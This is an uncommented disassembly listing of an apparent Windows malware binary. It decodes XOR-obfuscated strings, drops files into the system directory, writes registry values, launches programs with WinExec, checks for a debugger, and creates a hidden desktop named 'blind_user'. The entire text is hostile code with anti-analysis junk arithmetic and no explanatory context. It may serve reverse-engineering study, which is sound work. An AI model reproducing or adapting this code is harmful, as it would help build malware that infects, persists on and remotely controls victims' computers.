		mov	ecx, 2
		rep movsd
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C6D4
		add	esp, 38h
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C3A4	; WinExec
		mov	[ebp+var_10C], 23D3h
		sub	[ebp+var_10C], 17ECh
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403BAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D6F	proc near		; CODE XREF: sub_40A4E2+2EDp

var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F0		= byte ptr -2F0h
var_2EF		= byte ptr -2EFh
var_2E9		= byte ptr -2E9h
var_2E2		= byte ptr -2E2h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_274		= dword	ptr -274h
var_270		= byte ptr -270h
var_20C		= byte ptr -20Ch
var_20A		= word ptr -20Ah
var_207		= byte ptr -207h
var_206		= byte ptr -206h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20C], 0B9h
		sub	[ebp+var_20C], 0DBh
		lea	edi, [ebp+var_2E1]
		lea	esi, byte_4411FD
		xor	ecx, ecx
		inc	ecx
		rep movsb
		lea	edi, [ebp+var_2E2]
		lea	esi, byte_4411FE
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	26h
		push	offset aUVVVVVVVVs ; "u+>:V+>:V#+>:V#+>:V#+>:V#+>:V+>:V+>:Vs"
		call	sub_403A31
		mov	[ebp+var_2F8], eax
		call	sub_40C698
		mov	[ebp+var_2FC], eax
		call	sub_40C698
		mov	[ebp+var_300], eax
		call	sub_40C698
		mov	[ebp+var_304], eax
		call	sub_40C698
		mov	[ebp+var_308], eax
		call	sub_40C698
		mov	[ebp+var_30C], eax
		call	sub_40C698
		mov	[ebp+var_310], eax
		call	sub_40C698
		mov	[ebp+var_314], eax
		call	sub_40C698
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_314]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_300]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2FC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F8]
		push	edi
		lea	edi, [ebp+var_270]
		push	edi
		call	sub_40C6B0
		lea	edi, [ebp+var_2E9]
		lea	esi, aXf7	; ";xF:7="
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_403AC7
		add	esp, 34h
		lea	edi, [ebp+var_2EF]
		lea	esi, aXvQu	; "x‚-QU"
		mov	ecx, 3
		rep movsw
		lea	edi, [ebp+var_2F0]
		lea	esi, byte_44120C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40C698
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_101], dl
		mov	[ebp+var_206], 0A0h
		movzx	eax, [ebp+var_206]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_206], al
		mov	[ebp+var_1], 1
		jmp	short loc_403F60
; ---------------------------------------------------------------------------


loc_403F30:				; CODE XREF: sub_403D6F+1F6j
		call	sub_40C698
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_101], dl
		add	[ebp+var_1], 1


loc_403F60:				; CODE XREF: sub_403D6F+1BFj
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403F30
		mov	[ebp+var_207], 2Fh
		movzx	eax, [ebp+var_207]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_207], al
		mov	[ebp+var_F9], 0
		call	sub_40C698
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403FA7
		call	sub_40C218	; GetTickCount
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_FA], 32h


loc_403FA7:				; CODE XREF: sub_403D6F+223j
		push	9
		push	offset aRJbb	; "+}R+} jbb"
		call	sub_403A31
		lea	edi, [ebp+var_101]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_205]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40352B
		call	sub_40C188	; GetCurrentProcessId
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_274], eax
		mov	ebx, 2B3Ch
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		push	[ebp+arg_0]
		mov	eax, offset aJfjbnm32 ;	DATA XREF: .data:0043E149w
					; .data:0043E163w ...
					; "Jfjbnm32"
		push	eax
		call	sub_40C6B0	; DATA XREF: .data:0043E232w
		mov	[ebp+var_20A], 10D7h
sub_403D6F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404020	proc near		; DATA XREF: .data:0043E216o
					; .data:0043E22Cr ...
		movzx	eax, word ptr [ebp-20Ah]
		mov	edx, eax	; DATA XREF: .data:0043E220r
		add	edx, eax
		mov	eax, edx	; DATA XREF: .data:loc_43E1B1r
					; .data:loc_43E1C1r
		mov	[ebp-20Ah], ax	; DATA XREF: .data:0043E0B5w


loc_404034:				; DATA XREF: .data:0043E0BFw
					; .data:0043E0DAr ...
		push	0
		lea	eax, [ebp-2F4h]	; DATA XREF: .data:0043E0C7w
sub_404020	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40403C	proc near		; DATA XREF: .data:0043E0D4o
					; .data:0043E0E2o
		push	eax
		push	1A01h
		push	offset dword_43C1B8
		push	dword ptr [ebp-274h]
		call	sub_40C3B0	; WriteFile
		call	sub_40C224	; GetVersion
		push	dword ptr [ebp-274h]
		call	sub_40C1DC	; CloseHandle
		push	17h
		push	offset aMbGjrRgAmKXk ; "MB]GJR+}RG`^|am]k|xk|=<"
		call	sub_403A31
		lea	edi, [ebp-270h]
		push	edi
		push	eax
		lea	edi, [ebp-101h]
		push	edi
		call	sub_40C6B0
		mov	byte ptr [ebp-20Bh], 0E6h
		movzx	eax, byte ptr [ebp-20Bh] ; DATA	XREF: .data:0043E064w


loc_404090:				; DATA XREF: .data:0043E069w
					; .data:0043E085w
		mov	edx, eax
		add	edx, eax


loc_404094:				; DATA XREF: .data:0043E5C4w
					; .data:0043E5CAr ...
		mov	eax, edx
		mov	[ebp-20Bh], al	; DATA XREF: .data:0043F3ADr
sub_40403C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40409C	proc near		; DATA XREF: .data:0043E4EEo
		lea	eax, [ebp-205h]
		push	eax
		push	offset byte_446481
		lea	eax, [ebp-101h]	; DATA XREF: sub_43E640+Co
		push	eax
		push	80000000h
		call	sub_404156
		mov	ebx, 5497h	; DATA XREF: sub_43E640+1Co
		mov	eax, 26F3h
		mul	ebx
		mov	[ebp-318h], eax
		mov	ebx, eax
		push	0Eh
		push	offset aZfKojgIcajkb ; "Zf|kojg`iCajkb"
		call	sub_403A31
		mov	[ebp-31Ch], eax
		push	9
		push	offset aOOZckZ	; "O~o|zck`z"
		call	sub_403A31
		push	eax
		mov	edi, [ebp-31Ch]
		push	edi
		lea	edi, [ebp-101h]
		push	edi
		push	80000000h
		call	sub_404156
		mov	byte ptr [ebp-275h], 35h
		add	byte ptr [ebp-275h], 4Ch
		push	45h
		push	offset aAhzyoKrcgmAAhz ; "]ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}g"...
		call	sub_403A31
		lea	edi, [ebp-270h]
		push	edi
		lea	edi, [ebp-2E0h]
		push	edi
		push	eax
		push	80000002h
		call	sub_404156
		add	esp, 80h
		mov	dword ptr [ebp-27Ch], 2043h
		add	dword ptr [ebp-27Ch], 714Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40409C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404156	proc near		; CODE XREF: sub_40409C+18p
					; sub_40409C+63p ...

var_16		= word ptr -16h
var_14		= byte ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_5], 79h
		movzx	eax, [ebp+var_5]
		imul	eax, 6E73h
		mov	[ebp+var_5], al
		inc	dword_43B228
		lea	edi, [ebp+var_14]
		lea	esi, aJdh1c	; " Jdh1c"
		mov	ecx, 7
		rep movsb
		call	sub_40C2B4	; IsDebuggerPresent
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C59C	; RegCreateKeyExA
		call	sub_40C194	; GetCurrentThreadId
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4041BC:				; CODE XREF: sub_404156+6Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4041BC
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		push	ebx
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_40C5CC	; RegSetValueExA
		mov	ax, word_441214
		mov	[ebp+var_16], ax
		push	[ebp+var_4]
		call	sub_40C5A8	; RegCloseKey
		mov	[ebp+var_D], 63h
		movzx	eax, [ebp+var_D]
		imul	eax, 77DBh
		mov	[ebp+var_D], al
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404156	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404201	proc near		; CODE XREF: sub_4042A4+C1p
					; sub_4042A4+E1p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_441220
		lea	eax, ds:411C40h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_404242
; ---------------------------------------------------------------------------


loc_404228:				; CODE XREF: sub_404201+43j
		mov	eax, dword_441220
		add	eax, edi
		lea	eax, ds:411C40h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0B3h
		mov	[eax], dl
		inc	edi


loc_404242:				; CODE XREF: sub_404201+25j
		cmp	edi, esi
		jl	short loc_404228
		mov	[ebp+var_4], 1B4h
		mov	eax, dword_441220
		add	eax, esi
		mov	byte ptr ds:dword_411C40[eax], 0
		xor	edi, edi
		mov	edi, dword_441220
		add	dword_441220, 3
		mov	eax, dword_441220
		lea	eax, [eax+esi+2]
		mov	dword_441220, eax
		add	dword_441220, 3
		cmp	dword_441220, 0DE2h
		jle	short loc_404293
		and	dword_441220, 0


loc_404293:				; CODE XREF: sub_404201+89j
		mov	[ebp+var_8], 1C5h
		lea	eax, dword_411C40[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042A4	proc near		; CODE XREF: sub_40A4E2+346p

var_14A6	= byte ptr -14A6h
var_14A5	= byte ptr -14A5h
var_14A4	= word ptr -14A4h
var_14A2	= word ptr -14A2h
var_14A0	= byte ptr -14A0h
var_149C	= dword	ptr -149Ch
var_1498	= byte ptr -1498h
var_1494	= byte ptr -1494h
var_1395	= byte ptr -1395h
var_1394	= dword	ptr -1394h
var_1390	= dword	ptr -1390h
var_1380	= dword	ptr -1380h
var_12FC	= byte ptr -12FCh
var_11FD	= byte ptr -11FDh
var_10FE	= byte ptr -10FEh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		mov	eax, 14A8h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp-1497h]
		lea	esi, byte_441224
		mov	ecx, 3
		rep movsb
		call	sub_40C218	; GetTickCount
		push	0FFh
		lea	eax, [ebp+var_12FC]
		push	eax
		push	0
		call	sub_40C1C4	; GetModuleFileNameA
		mov	ebx, 0EE2h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	[ebp+var_1390],	94h
		lea	eax, [ebp+var_1390]
		push	eax
		call	sub_40C230	; GetVersionExA
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, dword_441227
		mov	[ebp+var_149C+1], eax
		cmp	[ebp+var_1380],	2
		jnz	loc_4043BF
		lea	edi, [ebp+var_14A5]
		lea	esi, byte_44122B
		mov	ecx, 3
		rep movsb
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		mov	[ebp+var_14A2],	214Fh
		movzx	eax, [ebp+var_14A2]
		imul	eax, 7280h
		mov	[ebp+var_14A2],	ax
		push	0Fh
		push	offset aCQA	; "–ÀïËÀßÕ×ßÝÇÑÒÇ"
		call	sub_404201
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_11FD]
		push	edi
		call	sub_40C6B0
		push	0Ah
		push	offset aCQA_0	; "–ÀïÐÞ×ÃÚÕ"
		call	sub_404201
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1494]
		push	edi
		call	sub_40C6B0
		push	8
		push	offset aQA	; "ïÐÞ×ÖËÖ"
		call	sub_404201
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40C6D4
		add	esp, 38h
		jmp	loc_404462
; ---------------------------------------------------------------------------


loc_4043BF:				; CODE XREF: sub_4042A4+73j
		mov	byte ptr [ebp+var_14A2+1], 0CCh
		add	byte ptr [ebp+var_14A2+1], 84h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C248	; GetWindowsDirectoryA
		mov	[ebp+var_14A4],	283Eh
		inc	[ebp+var_14A4]
		push	0Fh
		push	offset aCQKA	; "–ÀïËÀßÕ×ߊËÑÒÇ"
		call	sub_404201
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_11FD]
		push	edi
		call	sub_40C6B0
		call	sub_40C194	; GetCurrentThreadId
		push	0Eh
		push	offset aCQA_1	; "–ÀïÐÜÞÞÒÝ×ÃÚÕ"
		call	sub_404201
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1494]
		push	edi
		call	sub_40C6B0
		mov	[ebp+var_14A5],	0D8h
		sub	[ebp+var_14A5],	0E2h
		push	0Ch
		push	offset aQA_0	; "ïÐÜÞÞÒÝ×ÐÜÞ"
		call	sub_404201
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40C6D4
		add	esp, 38h
		call	sub_40C2B4	; IsDebuggerPresent


loc_404462:				; CODE XREF: sub_4042A4+116j
		lea	eax, [ebp+var_1494]
		push	eax
		call	sub_40C3E0	; DeleteFileA
		mov	ebx, 27EBh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		lea	edi, [ebp+var_149C]
		lea	esi, word_44122E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_11FD]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_1394],	eax
		push	39h
		push	offset dword_446398
		call	sub_404201
		lea	edi, [ebp+var_11FD]
		push	edi
		lea	edi, [ebp+var_12FC]
		push	edi
		lea	edi, [ebp+var_12FC]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40C6B0
		add	esp, 1Ch
		call	sub_40C1B8	; RtlGetLastWin32Error
		lea	ecx, [ebp+var_10FE]
		or	eax, 0FFFFFFFFh


loc_4044ED:				; CODE XREF: sub_4042A4+24Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4044ED
		push	0
		lea	esi, [ebp+var_14A0]
		push	esi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		push	[ebp+var_1394]
		call	sub_40C3B0	; WriteFile
		call	sub_40C188	; GetCurrentProcessId
		push	[ebp+var_1394]
		call	sub_40C1DC	; CloseHandle
		mov	[ebp+var_1395],	0E5h
		add	[ebp+var_1395],	1
		push	8
		push	offset byte_44638F
		call	sub_404201
		add	esp, 8
		lea	edi, [ebp+var_11FD]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40C6B0
		add	esp, 10h
		call	sub_40C218	; GetTickCount
		push	0
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_40C3A4	; WinExec
		mov	ebx, 1EEBh
		sub	ebx, 446Ch
		pop	edi
		pop	esi
		pop	ebx
sub_4042A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; DATA XREF: sub_43E741+E0o
		leave
		retn
sub_40457C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_441238
		lea	eax, ds:42FD10h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4045BE
; ---------------------------------------------------------------------------


loc_4045A4:				; CODE XREF: .text:004045C0j
		mov	eax, dword_441238
		add	eax, edi
		lea	eax, ds:42FD10h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D2h
		mov	[eax], dl
		inc	edi


loc_4045BE:				; CODE XREF: .text:004045A2j
		cmp	edi, esi
		jl	short loc_4045A4
		mov	dword ptr [ebp-4], 367h
		mov	eax, dword_441238
		add	eax, esi
		mov	byte ptr ds:dword_42FD10[eax], 0
		xor	edi, edi
		mov	edi, dword_441238
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_441238, eax
		cmp	eax, 0DB2h

; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: sub_43E741+4B8o
		jle	short loc_4045F8
		and	dword_441238, 0


loc_4045F8:				; CODE XREF: sub_4045EFj
		lea	eax, dword_42FD10[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404602	proc near		; CODE XREF: sub_4063A9+1CEp

var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= word ptr -0Ch
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0DBh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		cmp	dword_44123C, 0
		jz	short loc_404663
		call	sub_40C1F4	; GetProcessHeap
		call	sub_40C194	; GetCurrentThreadId
		push	eax
		call	sub_40C4B8	; GetThreadDesktop
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 0C1h
		movzx	eax, [ebp+var_C]
		imul	eax, 4D9Fh
		mov	[ebp+var_C], ax
		mov	eax, dword_44123C
		cmp	[ebp+var_14], eax
		jnz	short loc_40469F
		mov	[ebp+var_D], 96h
		add	[ebp+var_D], 0EBh
		xor	eax, eax
		inc	eax
		jmp	short loc_4046B8
; ---------------------------------------------------------------------------


loc_404663:				; CODE XREF: sub_404602+21j
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
		call	sub_40C4A0	; CreateDesktopA
		mov	dword_44123C, eax
		lea	edi, [ebp+var_9]
		lea	esi, dword_441240
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	dword_44123C, 0
		jnz	short loc_40469A
		xor	eax, eax
		jmp	short loc_4046B8
; ---------------------------------------------------------------------------


loc_40469A:				; CODE XREF: sub_404602+92j
		call	sub_40C2B4	; IsDebuggerPresent


loc_40469F:				; CODE XREF: sub_404602+52j
		push	dword_44123C
		call	sub_40C4AC	; SetThreadDesktop
		mov	[ebp+var_8], eax
		mov	ebx, 578Dh
		sub	ebx, 2A5Ah


loc_4046B8:				; CODE XREF: sub_404602+5Fj
					; sub_404602+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404602	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BD	proc near		; CODE XREF: sub_4063A9+241p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, [ebp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		call	sub_40C188	; GetCurrentProcessId
		pop	ebp
		retn
sub_4046BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046D8	proc near		; CODE XREF: sub_40479E+49p
					; sub_40479E+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44124C
		lea	eax, ds:416300h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_404719
sub_4046D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40470D


loc_4046FF:				; CODE XREF: sub_40470D+Ej
		mov	eax, dword_44124C
		add	eax, edi
		lea	eax, ds:416300h[eax]
; END OF FUNCTION CHUNK	FOR sub_40470D

; =============== S U B	R O U T	I N E =======================================



sub_40470D	proc near		; DATA XREF: sub_43E741+600o

; FUNCTION CHUNK AT 004046FF SIZE 0000000E BYTES

		movsx	edx, byte ptr [eax]
		xor	edx, 0ACh
		mov	[eax], dl
		inc	edi


loc_404719:				; CODE XREF: sub_4046D8+25j
		cmp	edi, esi
		jl	short loc_4046FF
		mov	dword ptr [ebp-4], 12Ch
		mov	eax, dword_44124C
		add	eax, esi
		mov	byte ptr ds:dword_416300[eax], 0
		xor	edi, edi
		mov	edi, dword_44124C
		add	dword_44124C, 2
		mov	eax, dword_44124C
		add	eax, 6
		add	eax, esi
		mov	dword_44124C, eax
		cmp	eax, 0E01h
		jle	short loc_40475F
		and	dword_44124C, 0


loc_40475F:				; CODE XREF: sub_40470D+49j
		mov	dword ptr [ebp-8], 2EEh
		lea	eax, dword_416300[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40470D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404770	proc near		; CODE XREF: sub_4056EE+6EFp
					; sub_4056EE+79Fp ...

var_107		= byte ptr -107h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C188	; GetCurrentProcessId
		push	[ebp+arg_4]
		push	ebx
		call	sub_40C6D4
		add	esp, 8
		lea	edi, [ebp+var_107]
		lea	esi, aAKS	; "A k	&s"
		movsd
		movsd
sub_404770	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40479E	proc near		; DATA XREF: sub_43E741+502o
		lea	edi, [ebp-10Dh]
		lea	esi, aMusr	; " musR"
		mov	ecx, 3
		rep movsw
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404896
		lea	edi, [ebp-10Fh]
		lea	esi, byte_44125E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	byte ptr [ebp-0FFh], 0
		push	3
		push	offset aGjm	; "ƒ†Œ"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h
		call	sub_40C194	; GetCurrentThreadId
		mov	byte ptr [ebp-10Eh], 0
		jmp	short loc_40485F
; ---------------------------------------------------------------------------


loc_404804:				; CODE XREF: sub_40479E+C9j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404858
		push	4
		push	offset aII	; "‰ß‰Ï"
		call	sub_4046D8
		mov	[ebp-114h], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-114h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		add	esp, 18h


loc_404858:				; CODE XREF: sub_40479E+76j
		add	byte ptr [ebp-10Eh], 1


loc_40485F:				; CODE XREF: sub_40479E+64j
		mov	al, [ebp-10Eh]
		cmp	al, 0Ah
		jb	short loc_404804
		call	sub_40C194	; GetCurrentThreadId
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40C6D4
		call	sub_40C188	; GetCurrentProcessId
		push	3
		push	offset aMjg	; "Œ†ƒ"
		call	sub_4046D8
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 18h


loc_404896:				; CODE XREF: sub_40479E+24j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404982
		mov	byte ptr [ebp-111h], 58h
		add	byte ptr [ebp-111h], 1
		push	10h
		push	offset aMiIIMsmiC ; "ÚÍÞŒ‰Ï‰Ï‰ÏŒ‘Œ‰Ù—"
		call	sub_4046D8
		mov	[ebp-118h], eax
		call	sub_40C698
		mov	[ebp-11Ch], eax
		call	sub_40C698
		mov	[ebp-120h], eax
		call	sub_40C698
		mov	[ebp-124h], eax
		call	sub_40C698
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-124h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-120h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-11Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx	; DATA XREF: sub_43E741+41Dr
		add	edi, 61h
		push	edi
		mov	edi, [ebp-118h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40C6B0
		call	sub_40C218	; GetTickCount
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 28h
		mov	word ptr [ebp-110h], 5C59h
		movzx	eax, word ptr [ebp-110h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-110h], ax


loc_404982:				; CODE XREF: sub_40479E+108j
		call	sub_40C698
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404A3E
		lea	edi, [ebp-10Eh]
		lea	esi, byte_44125F
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0Ah
		push	offset aGgiIIBj	; "ƒƒ‰Ï‰Ï‰Ï¡¦"
		call	sub_4046D8
		mov	[ebp-118h], eax
		call	sub_40C698
		mov	[ebp-11Ch], eax
		call	sub_40C698
		mov	[ebp-120h], eax
		call	sub_40C698
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-120h]
		mov	eax, edi
		mov	ecx, 1Ah	; DATA XREF: sub_43E741+2Ao
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-11Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-118h]
